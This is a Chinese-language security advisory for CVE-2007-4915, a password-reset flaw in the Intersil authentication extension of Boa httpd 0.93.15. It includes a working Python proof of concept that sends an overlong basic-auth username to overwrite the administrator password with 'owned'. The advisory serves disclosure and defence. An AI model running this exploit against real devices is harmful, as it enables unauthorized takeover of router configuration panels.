Intersil (Boa) HTTPd基本认证密码重置漏洞


发布日期:2007-09-17
更新日期:2012-11-15

受影响系统:
Boa Boa 0.93.15
描述:
--------------------------------------------------------------------------------
CVE ID: CVE-2007-4915

Boa是单任务的HTTP服务器。

Boa httpd没有内置的身份验证代码,Intersil扩展内存在漏洞,当要求HTTP基本身份验证凭证时,传递大于127个字符作为用户名的字符串时,会占用boa进程的栈内存,作为密码传递的字符串会覆盖管理员密码的内存值,导致攻击者将密码重置为已知值。重置后,攻击者即可访问配置面板。

<*来源:luca.carettoni
 
  链接:http://www.securityfocus.com/archive/1/archive/1/479434/100/0/threaded
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/usr/bin/env python
import urllib2

SERVER_IP_ADDRESS = '192.168.0.1'
USERNAME = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
NEW_PASSWORD = 'owned'

auth_handler = urllib2.HTTPBasicAuthHandler()
auth_handler.add_password('LOGIN(default username & password is admin)', SERVER_IP_ADDRESS, USERNAME, NEW_PASSWORD);
opener = urllib2.build_opener(auth_handler)
urllib2.install_opener(opener)
res = urllib2.urlopen('http://'+SERVER_IP_ADDRESS+'/home/index.shtml')

建议:
--------------------------------------------------------------------------------
厂商补丁:

Boa
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.boa.org

相关内容